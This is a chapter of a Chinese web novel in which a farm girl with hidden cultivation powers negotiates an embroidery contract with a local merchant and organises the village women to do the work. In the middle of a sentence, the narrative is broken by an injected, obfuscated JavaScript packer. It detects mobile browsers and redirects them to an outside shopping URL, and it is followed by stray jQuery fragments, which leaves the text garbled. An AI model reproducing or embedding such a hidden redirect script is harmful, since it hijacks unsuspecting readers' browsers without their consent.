面对林禾容狮子大开口,张老爷笑了出来,“林姑娘,你可知,市面上普通帕子八文就算贵的,你这成本就是六文,让我怎么做生意?”
林禾容眨着无辜的双眼,“张老爷,您的产业又不是只在太平镇,那京都的物价绝对不止八文。”
“再者,咱这东西您也看到了,不敢说与真正的绣娘比,但也差不到哪儿去,作为日常用,是足够的。”
看着面前的小姑娘镇定自若,还能跟自己讨价还价,张老爷带上了一丝欣赏。
两人的交锋还在继续,不止帕子,还有其他手工都需要一一定价。
林禾宇感觉自己像一个吉祥物,在一旁什么都帮不上,只能干看着。
终于,合作事宜彻底敲定。
双方起身,张老爷心疼自己钱的同时,又对林禾容心生敬佩。
若她是一个生意人,张老爷还不会感叹,可她只是一个普通的农家丫头,竟然能把这笔买卖谈到这个地步。
张老爷已经能想象到,等林禾容回去后,会受到多少人的“围堵”。
林禾容始终带着恰当的微笑,“那多谢张老爷了,这份私契我就带回去了。”
“合作愉快!”
目送三人离去,张夫人笑着开口,“这女子倒是厉害。”
张老爷在一旁并肩而立,“是啊,没想到咱太平镇还有此等女子。”
出了门,林禾宇长舒一口气,“老四啊,你可真行!”
林禾容笑着拍拍他肩膀,“我的大哥啊,你太紧张了,不过没关系,以后咱多出来走走,就不会这样啦。”
听着妹妹轻快的语调,林禾宇不禁疑惑,“我为啥感觉你一点也紧张,不比那老油条差。”
林禾容搓过鼻尖,“那个,嗐,人家都说初生牛犊不怕虎,反正我不会做生意,没谈成也无所谓嘛。”
听到这儿,林禾宇恍然大悟,“对啊。”
跟在俩兄妹身后,江年没忍住盯着林禾容的背影,她不仅会田里的事,还会做生意,实在厉害,不过这些的确不像是鹤溶会的。
但她俩的性格、那份韧劲又是如出一辙。
随即,江年摇摇头,老想她做什么,实在是令人费解。
大概是因为那张一模一样的脸吧。
一路上,林禾容都感觉怀里的私契十分滚烫,这是她第一次接触商业、第一次与人谈判,一切都很新奇。
不过,只要一想到长乐村的女人们,在这个冬天能够赚钱补贴家用,林禾容就感觉自己真的做了一件好事。
家里,林梅坐立不安,她不知道自己的绣品到底能不能入了张家的眼。
李兰劝了又劝,还是没能按压下林梅的焦虑。
终于,林梅等回了小姑子。
林禾容刚进院子,就见林梅快步迎上来,一把抓住了她的手,“老四,怎么样?”
见媳妇这样,林禾宇连忙安抚她的情绪。
林禾容拍拍林梅的手,从怀里掏出私契,“大嫂莫急,你看,成了!”
林梅的眼神死死盯着手里的纸,她识字不多,一个字一个字看过去,这事竟然是真的!
见她情绪更激动了,林禾容立马走到她另一边,右手轻抚林梅的背,一丝翠绿的灵力悄然注入她体内。
林禾容的木灵根,不仅仅能和世间植物有感应,更有治愈之力,与她的丹药相辅相成,这也是她当年选择丹修的原因。
灵力普通人看不到,而林梅注意力压根不在这儿,所以林禾容做地神不知鬼不觉。
门路打通,林禾容挨家挨户地去找人。
之前有不少人收到了林禾容给的一文钱,如今看到与张老爷的私契后,很痛快地答应了。
林禾容掏出另一份契约,“各位婶子,既然是和人家做生意,咱就正规点,刚才那个是我代表大家和张老爷签的,这份是我和各位签的。”
本来大家还挺高兴的,但一说要签契约,众人纷纷犹豫起来。
隔壁林大娘举起私契看了半天,“四丫头,这玩意儿我们也看不懂。”
“反正我们给你东西,你给我们钱不就好了吗,签个这干啥?”
林大娘说出了大家的心里话。
“是啊,我们还能骗了你不成?”
“就是,我听说这东西不能随便签,那万一有点啥,我们不就吃亏了吗?”
众人的担忧,林禾容看在眼里。
在云渺峰时,她也跟着师门去山下跟普通凡人打过交道,他们也是这样,总害怕自己上当,于是,谨慎地拒绝认知以外的一切东西。
对此,林禾容耐心解释,“这张纸,保护的是咱们双方,如果你们定期交不上货,你们要赔我钱。”
“可大家有没有想过,万一我或者张家拖欠工钱呢,这时候,这张契约就成了保护你们的武器,你们可以拿着它去衙门,追回属于你们的钱。”
听到这儿,众人面面相觑。
就在大家不知如何抉择时,人群后面挤进来一个人,严母。
她听说了这事,便也来凑热闹。
“林禾容,你这话说的漂亮,可我们不识字,谁知道你这是什么契,万一坑了我们咋办?”
“不过,话说回来,以前你还是傻子的时候,我还真不知道你这么能折腾,竟然和镇上的老爷有了联系。”
“半年前这一磕,还让你磕好了。”
“我就是有些好奇,你说这人会一下子变聪明吗?哈哈,跟那妖怪似的。”
状若不经意的话,让众人不敢上前。
毕竟那日清风道长说了,村里有妖孽,这不,到现在还没抓着呢。
林禾容嗤笑,原来严家把清风叫来,打的是这主意,他们还真是一伙儿的。
就在林禾容准备站出来时,里正来了。
他环视四周,“都在呢?”
“诶呀,四丫头这是好事儿,那契约我看了,是通过官府拿到的,她说的对,这不仅仅是保护她,更多时候,是在保护你们。”
有了里正担保,大家不再犹豫,由张婶子带头,众人争先恐后地在私契上按手印。
被挤出人群的严母看到这幅场景,只能愤愤离去。
林禾容没空理会她,而是隔着人群,向里正投去感激的眼神。
看她忙,里正挥了挥手便转身离开。
一出门,就看到了等着的江年。
里正笑着拍他肩膀,“可以啊,你小子心挺细,若不是你提议让我来镇场子,我还真想不到这儿。”
江年微笑着摇头,“里正过誉了,那天我跟着她去张老爷家,亲眼看着她是怎么和人家周旋的,自然也知道这份活计的来之不易。”
“她人微言轻,比不得您在村
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533480|203753||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
民们心中的地位,如果因为这个而让这个活儿黄了,我会感到遗憾。”
听着江年有理有据的分析,里正身体微微向后仰。
以前怎么没发现,江家的闷葫芦老二也这么能说会道。
“行了,你听里面的热闹劲儿,这事儿啊没问题了。”
得到答案,江年默默离开。
院里的林禾容还在忙活着签契约,还不知道里正这一趟是有人在帮忙。
而林家院里,不仅仅是林禾容一人在忙,李兰和林梅因为对村里妇女更加了解,林禾容便让她们帮忙选人。
这活儿是要打开长乐村口碑的,绝对不能出现残次品。
所以,一定要选绣工顶尖的。
而落选的人自然不高兴,噘着嘴在一旁看着。
“诶,为啥她能行?”
“我不比她速度快啊,选她还不如选我呢。”
面对这些不满,林禾容耐着性子跟大家解释,“这不是比谁绣地快,咱这质量要提上来啊。”
这位大娘不屑地翻白眼,“怎么,你就这么看不上我的绣工啊?”
林禾容深吸一口气,“大娘,那可不是,我是觉得其他的活儿也得有人干,您就适合。”
大娘懵了,“什么其他活儿?”
趁着这个机会,林禾容干脆把她计划的一小部分透露给大家。
“没选上的别灰心,过段时间还会有其他生意的。”
一瞬间,那群落选大娘喜笑颜开,“诶呦,四丫头,我就知道,你不会不要我们的。”
围着林禾容转了半天,几人满意离去。
林禾容笑着摇摇头,这群大娘怎么跟小孩儿一样。
折腾了半天的时间,这才把人选定下来。
众人挤在林家院子里,看着忙着搬东西的林禾容。
“砰!”
林禾容扔下一个箱子,“这是张老爷给的,他说了,第一批货物要用他的材料,相当于咱挣个手工费。”
“虽然相对来说挣得少些,但这也有个好处,就是咱不用担心成本问题。”
“当然了,这也就要求大家不能有错,不然,这块素帕的成本就是你来掏了。”
看了一圈,发现大家都听懂了,林禾容大声道:“行了,大家排好队来领东西。”
“有多大力气干多少活,我建议先少领一些,等做完再领。”
一张短腿桌上,放着几张纸,林禾容坐下,做领取记录,好方便以后管理。
这一折腾又是好一会儿。
等一切结束,天都擦黑了。
可看着大家欣喜的模样,林禾容又觉得很值。
大概这就是师父说的心系苍生吧。
累了一天,林禾容沾床就睡。
半夜,呼噜震天响,一旁的林禾宁睁着眼直到天亮。
一大早,李兰看见小女儿眼下的黑青,吓了一跳,“这是咋了?”
林禾宁双眼无神,“没咋,就是我姐打了一晚上的雷。”
刚起床的林禾容听到妹妹的控诉,一时间有些抱歉,她蹲下搂住林禾宁,“对不住,以后你推我几下,我就不打了。”
林禾宁却摇摇头,“四姐是累了,我一推你就不能休息,我想让你好好睡会儿。”
听着这贴心的话,林禾容埋在妹妹的肩膀上,左右蹭了蹭。